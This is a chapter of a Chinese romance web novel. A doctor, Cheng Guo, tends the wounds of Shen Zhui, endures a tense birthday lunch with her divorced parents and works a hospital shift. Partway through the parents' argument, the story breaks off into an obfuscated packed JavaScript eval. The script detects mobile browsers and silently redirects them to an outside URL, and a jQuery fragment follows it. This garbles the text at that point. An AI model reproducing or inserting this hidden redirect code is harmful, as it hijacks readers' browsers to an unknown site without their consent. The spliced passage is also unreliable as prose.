程果躺到床上时已经两点，昨晚睡得晚，今天工作十几个小时，晚上又被原满吓了一遭，身体疲累得像是能陷进床褥中，手尖都不想动一下。


    精神却很亢奋。


    是的，亢奋。


    这对程果来说是一种非常难得的情绪和体验，已经一年多没有过。


    她现在睁开眼睛是沈骓不顾一切冲过来的样子，闭上眼睛是沈骓站在路灯下一字一句把自己底牌告诉她的别扭与认真。


    怎么有人那么傻，直接把底牌告诉别人。


    也是有人这么傻，把底牌告诉她，让她获得前所未有的安全感，寡淡的生活也生出一丝涟漪。


    想法转变了，再看沈骓强行塞进来的那些物品，程果弯起唇角。


    正准备入睡时，她又坐了起来。


    自从手术后，沈骓连跑带跳再加打架，剧烈运动一项不落，今天横穿小区时不走寻常路，没走人该走的门，而是从汽车抬杠上直接横跨过来的。


    很难让人不担心他的伤口。


    推开门出房间，闷燥感扑面而来，程果往坏掉的空调方向看了一眼，想起沈骓每天早上湿漉的发尾。


    七月是黎城最热的季节，晚间虽凉爽些，可依旧需要依赖空调，程果无法想象沈骓这几天晚上是怎么度过的。


    客厅的灯黑着，沈骓安静地躺在沙发上，程果叫了一声他名字，没人应，她回房间取出手机，想了想，将卧室通向阳台的窗户拉开，再轻手轻脚地出来。


    沈骓睡得很熟，大半毯子垂落到沙发旁的地毯上，只一角被手压着搭在腹部。


    给他买的衣服已经到了，洗净晾在阳台那，他现在腰上只围着一条浴巾，平躺在沙发上，一腿平直伸开，一腿微屈，膝盖顶着沙发靠背，昏暗光线下的身体线条流畅起伏。


    他个子实在是高，她平时躺上去能空余一大块的沙发，现在被他塞得满满的。


    想到一会儿要干的事，程果耳尖发烫，打开手机光源后眯着眼将亮度调到最低，沈骓平坦结实的小腹出现在她视线内。


    即使是睡着的放松状态，仍能看清紧实的肌肉线条随着他的呼吸缓慢起伏。


    她想起沈骓手术那晚几个护士争着要去给他备皮时自己的想法，想穿越时空回去撤回。


    至少半.裸的帅哥还是很有看点的。


    将他的手小心挪开，程果先查看了裸露在外面的那道伤口，敷贴已经不牢固，翘起一角，好在伤口没事，她松下大半口气，视线向下扫。


    大约是知道她进房间后不会再出来，沈骓毫无负担地将浴巾系得很低，浴巾一角简单地往腰那一塞，好像轻轻一扯就能掉下来似的。


    心里默念了两遍“我是好人”，程果将手伸向那一角，慢慢地扯。


    指节不小心蹭上小腹时沈骓哼了声，手臂也跟着一动，像是要醒过来，程果心脏咚地一跳赶紧停下动作，做贼心虚地把手电光源关闭，再想到沈骓如果这个时候醒来她更加说不清，复又打开，紧紧盯着他的脸，见他只是蹙了一下眉后再没有动静才放下心。


    她最初就应该不管不顾地叫他起来，打开大灯，光明正大地让他把浴巾拉下来给她看。


    骑虎难下地安静了会儿，程果又探出手，她没敢把浴巾全解开，只将那一角拉得松散些往下退，露出另外两处伤口，查看无碍后又将浴巾拉上去，囫囵掖了掖，关闭光源放轻脚步回房。


    第二天一早程果依然按照生物钟醒过来，出房间时沈骓正从浴室出来，白色T恤黑色运动短裤，很清爽的男大居家模样，刚洗过澡的发尾潮湿，眉眼间像是被深描过一般立体深邃，露出的小腿紧实有力。


    程果不大精神地道了声早，越过他进卫生间洗漱，墙壁上的换气按钮亮着，换风扇孜孜不倦工作，空气中飘荡着沐浴露的淡香，镜子上的水雾还没抹去，映衬得她的样子有些模糊。


    “昨晚没睡好吗？”沈骓站在门外，发尾的水珠滴落到脖颈上。


    “还好。”程果低下头挤牙膏。


    她习惯睡觉时关门关窗，拉严窗帘，这种封闭感能带给她足够的安全感，昨晚窗帘拉开一道缝隙，窗户打开一整扇，她消化了很久这种不适感，想到今天空调修理师傅就能上门时才缓缓呼出一口气。


    还有另外一个原因，今天中午要和于慕英程复言吃饭，这个生日势必不会好过。


    洗漱好后程果拐进厨房往外看了一眼，沈骓站在阳台接电话，阳光洒在他的头发上，一圈淡淡的金属光泽，背对她的脊背宽阔，收回目光，程果伸手拨动冰箱上少女樱手中的魔法棒，看它旋转起来后弯起唇角拉开冰箱门。


    懒得折腾早餐，她取出面包和鲜牛奶，手指扭开瓶盖时沈骓进来，他拉开冰箱拿出一瓶水，没有要走的意思，影子延伸到她手边的台面上，拨弄魔法棒的动作清晰。


    程果歪过头，清了清发痒的嗓子，拿来马克杯，指尖捏住牛奶盒往里倒，察觉有一道视线若有若无地落过来时她抬起头，“喝吗？”


    “嗯。”


    沈骓目光未偏。


    “……要这杯？”


    程果顺着他目光看向倒好牛奶的马克杯，试图理解。


    两秒后，沈骓看她一眼，不客气地把她手里的牛奶盒拿走，自己倒了一杯，捏着牛奶盒示意她把盖子拧上。


    莫名得程果发懵。


    空调修理师傅过来时程果刚看完一篇文献，她让沈骓戴上口罩，打开门，修理师傅拎着工具箱和折叠梯进来，内机外机检查后说了一通，总结下来就是空调压缩机坏了，现在已经过了保修期，换压缩机要等待配件，而且费用贵，不如换一台新空调。


    “去店里或网上订都可以，客服会给安排安装时间。”修理师傅边收拾工具箱边说。


    天气热，检查外机时出了一头汗，程果拿了一瓶冰水给他，顺便问：“今天来得及安装吗？”


    “最快也得五六天，”师傅接过水，喝了几口水估算，“每年夏天这个时候都爆单。”


    程果顿觉头痛，沈骓又要挨几天热。


    “您几点下班，我给您额外费用，您费心过来帮忙装一下呢？”她不死心地问。


    师傅笑着推脱，“这阵子一天十多单，装完晚上十点多了，”他打量这套房子，“卧室空调好的吗？”


    “好的。”


    “那不影响你们啊，睡觉在卧室，在客厅活动的时候把门一开不就行吗。”


    “……”程果没法答。


    旁边沈骓扭过头，也没说话。


    “哦感冒了得分开睡是吧，”师傅注意到他戴着的口罩又给支招，“那卧室开个门或者开个窗户，两边通着就行，这房子面积一台空调足够用的。”


    沈骓侧眼去看程果，见她没有开口的意思，“嗯”了一声，口罩下的唇形弯起，“够用。”


    程果瞅他一眼没说话。


    这套房子是程果租来住的，换空调要联系房东，沟通后对方很痛快地下单了一台新空调，安装时间预约在五天后。


    程复言订的餐厅距离程果这半小时车程，忙完空调的事所剩时间已经不多，她没敢耽搁，换上衣服出门。


    沈骓今天依旧不外出，站在一边看她换鞋，“几点回来？”


    “晚上12点下班，晚饭你自己吃，不用等我。”她今天又是一个小夜班，明天可以休息一天。


    “那……”沈骓眉眼垂下去，好像不大高兴似的欲言又止。


    “怎么了？”程果出门前瞥了一眼堵在门口的快递们，暗道基因的神奇，沈骓一定遗传了他妈妈爱购物的那部分基因，她给他分配任务，“今天把这些处理好，我买了防窥玻璃贴，你贴在卫生间门上。”


    这几天她洗澡时沈骓都会出去，顶着一堆蚊子包回来。


    “好，”沈骓试探问，“下班我去医院？”


    又补充：“你一个人太危险。”


    他跟到玄关处送她，190的身高快要挨上门楣，怕被拒绝似的，说话时目光偏向一侧。


    正好电梯到了，程果没再走安全楼梯，稍迟疑后将车钥匙收进掌心，“好。”


    “出来时戴好口罩。”她叮嘱。


    昨天下过一场雨，周遭一切像加了一层清晰滤镜，天空澄澈如洗，是一种极为纯净的蓝，枝叶绿油油的，阳光一照能反出光，就连路中央市政布置的鲜花都比往日艳丽。


    餐厅在商场三楼，正是午饭时间，又逢周末，停车位并不好找，程果开车转了一圈，见一辆车准备开走，忙开过去候位。


    那车降下车窗，露出一张年轻英俊的脸，江恒笑着和她打招呼，“程果，生日快乐。”


    上次见面还是过年时她去找程复言，正巧遇到准备出国的江恒也在。


    两人虽然认识，但是因为身份关系并不熟络，程果降下车窗道谢，好奇他怎么会出现在这里。


    江恒看出她的意思，解释：“程老师车坏了，我正巧要来这边，顺便送他过来吃饭，生日礼物我托他捎给你。”


    程复言第二次离婚后江恒和他并没有疏远，只把他的称呼改成了程老师。


    程果再次道谢，江恒生日就在月底，礼尚往来，她要回一份礼。


    等江恒把车开走后程果停好车上楼。


    程复言订的是包间。


    程果按照服务员的指引过去，才推开一条门缝，争执声便传了出来。


    于慕英教学严厉，嗓音沉而有力：“你从来没管过程果的个人问题，现在有什么资格指责我？”


    相对而言，程复言温声细语很多，“不是指责你，你给囡囡介绍相亲对象我不反对，也要先考察人品是不是？昨晚那个小原，原满，半夜喝醉酒尾随她，你说如果真的出事这个责任谁来负？”


    握在把手上的手腕僵住，程果维持着推门的动作没动。


    程复言怎么知道了原满醉酒跟着她的事？


    房间里安静许久，于慕英开口，声音比刚刚坚硬许多：“小原的事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365969|182803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我会去问清楚。你认识人品好的你给介绍，江恒年底就要结婚了，程果现在连个对象都没有。”


    “我认识的都是医疗系统的，你又不愿意囡囡和医生组建家庭。”


    “我吃过的苦还要让程果再吃一遍吗？”于慕英音量拔高，“我累得病倒住院的时候你不在，只能让邻居帮忙照顾程果，程果肺炎发高烧难受得喊爸爸的时候你不在，我带高三冲刺高考请不下假，程果那时候才几岁，自己在医务室输液。”


    “我那时候不是——”


    “是，你有事业，你忙。等你再婚的时候事业有成了，也不忙了，有时间送儿子去上补习班，离婚后也不忘给儿子介绍对象。程果的学业，感情，你关心过哪样？”


    “是我不想关心吗？”程复言也来了火气。


    程果敲了两下门，笑着推开，“妈。”


    又转向程复言，“爸。”


    程复言比于慕英先调整好状态，笑着应了一声，让她进去坐下。


    席间程复言找了几个话题，于慕英偶尔应几句，饭桌上大多数时间是程复言和程果的交谈声。


    于慕英没有吃生日蛋糕的习惯，程果这边一碗长寿面吃完，生日就算过完了，临走时于慕英告诉她，学费问题已经和程复言商量好，让她安心报名就行。


    不知道是原满的事，还是又回忆起程复言做为丈夫和父亲的种种失职，于慕英脸色不好，情绪也不高，程果没主动提考博的其他问题。


    一场她担心的生日宴在她推开门后无波无澜地结束。


    拎着程复言和江恒的礼物，程果驱车去医院，进办公室时刘学谨也刚到。


    两人一起值班过，又同台过几次手术，相比其他人更熟悉，说话也更加随意，刘学谨见她进来，提醒她：“主任让你过来后去他办公室。”


    又神秘兮兮的：“好事。”


    从来没在生日这天发生过好事的程果敲开李主任办公室的门，李主任一抬头，“去楼下给我取个快递。”


    “……”


    程果站在门口没动，“我老师那跑腿的活儿都轮不上我了。”


    “生日礼物。”李主任说。


    “我老师寄来的？”


    李主任一瞪眼：“就不能是我送的？！”


    他皱着眉头赶人，“快去拿，别耽误一会儿交班。拿到我这儿啊，别直接抱走。”


    程果关上门，到快递站取出快递，挺沉的一个箱子，摇起来哗啦哗啦的，她怕里面是什么需要组装的零件，抱稳了送到李主任那。


    桌上的笔盒里空空荡荡，只有一把美工刀，程果拿过来小心地把箱子打开，李主任探过头，“做的还行，你挑一个。”


    实在没什么可挑的，箱子里面只有两种胸针。


    一种是身穿白大褂挂着听诊器的牛。


    一种是身穿白大褂系着领带的马。


    程果拿了一匹马，回去给刘学谨，“主任让我拿给你。”


    刘学谨看了两眼，别在了自己的白大褂上。


    今天晚上意外地不忙，程果看了一篇文献，偶尔回复下阮宁发来的狗。


    往年她过完生日情绪都会不好，阮宁拉着她聊各种话题转移注意力，近几年发现她格外喜爱萨摩耶后，话题之余会拿一堆耶比的视频和图片轰炸她。


    今天不同，今天的狗是海归养的，程果一直没加他。


    三个月大的萨摩耶耳朵刚能立起来，长得像只小白熊，这会儿正处在乳牙萌发期，牙龈发痒啃咬欲望强烈，照片中的萨摩耶咬拖鞋咬玩具咬数据线……


    虽然很可爱，但是……


    程果回复阮宁信息：【周南遇进组了？】


    【Running：你怎么知道？！这次是男二！】


    接着吧啦吧啦说了一堆周南遇本来去试男四号的戏，导演组认为他更适合男二，前天试了男二的戏后签了合同，昨天进组了。


    吧啦完又问她怎么知道。


    【程果：周南遇不忙你哪有时间跟海归聊。】


    【Running：我跟海归聊什么聊？我是偷他朋友圈照片给你看！】


    她说完发了两张海归朋友圈截图，一串萨摩耶九宫格，看发布日期比程果朋友圈里打广告的都勤奋。


    【程果：真的不是狗贩子？】


    【Running：不是！！这人比你小两岁，长相还是你喜欢的那款弟弟。】


    程果没回这条，大夜班的同事来了，听说她生日后提前交班。


    距离真正下班时间还有不到半个小时，沈骓过来的话应该正准备出发。


    程果没着急走，到走廊上溜了一圈，经过窗口时一愣。


    医院的夜晚肃静，没有几个人呆在室外，不远处的树影与光影交错出站着一人。


    那人个子很高，单手提着一个盒子，正低头摁手机。


    不多时，口袋里的手机一震，一条消息跳上屏幕：


    【忙吗？下来一趟？】